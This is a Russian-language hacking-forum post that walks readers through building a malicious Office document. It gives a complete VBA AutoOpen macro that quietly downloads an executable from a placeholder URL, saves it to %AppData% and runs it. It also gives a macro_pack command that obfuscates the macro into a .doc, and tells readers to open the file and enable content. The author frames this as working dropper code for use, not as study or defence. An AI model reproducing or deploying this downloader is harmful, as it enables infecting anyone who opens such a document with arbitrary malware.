Torsten
Опытный user
		- Регистрация
 - 7 Ноя 2021
 
- Сообщения
 - 910
 
- Реакции
 - 113
 
Сегодня хочу поделиться с вами способом склейки любого exe'шника с документами офиса (doc, docm, xls и т. д.)
Нам понадобиться несколько вещей:
САМ СКРИПТ
	
	
	
		
В любой папке создаём файл с разрешение .vba
	
	
	
		
		
		
			
		
		
	
	
		
	
Далее открываем текстовый редактор и вставляем код
	
	
	
		
		
		
		
	
	
		
	
* В код я вставил exe'шник с putty
Следующим шагом запускаем cmd и пишем следующую команду
macro_pack.exe -f ваш_vba_макрос -o -G конечный_файл.doc
	
	
	
		
		
		
		
	
	
		
	
После выполнения команды
	
	
	
		
		
		
		
	
	
		
	
Всё готово теперь можно проверять!
Открываем наш конечный файл, включаем содержимое и наслаждаемся
	
	
	
		
		
		
		
	
	
		
	
			
			Нам понадобиться несколько вещей:
- VBA скрипт
 - Программа Macro_Pack (ищите на github)
 - Microsoft Office
 - Прямая ссылка на ваш файл
 
САМ СКРИПТ
		Код:
	
	Sub AutoOpen()
Application.ScreenUpdating = False
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "ССЫЛКА НА ВАШ ФАЙЛ", False
xHttp.Send
Dim j As String
j = Environ("AppData")
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile j & "\ВАШ EXE", 2 '//overwrite
End With
Shell (j & "\ВАШ EXE")
Application.ScreenUpdating = True
End Sub
	В любой папке создаём файл с разрешение .vba
	Далее открываем текстовый редактор и вставляем код
	* В код я вставил exe'шник с putty
Следующим шагом запускаем cmd и пишем следующую команду
macro_pack.exe -f ваш_vba_макрос -o -G конечный_файл.doc
	После выполнения команды
	Всё готово теперь можно проверять!
Открываем наш конечный файл, включаем содержимое и наслаждаемся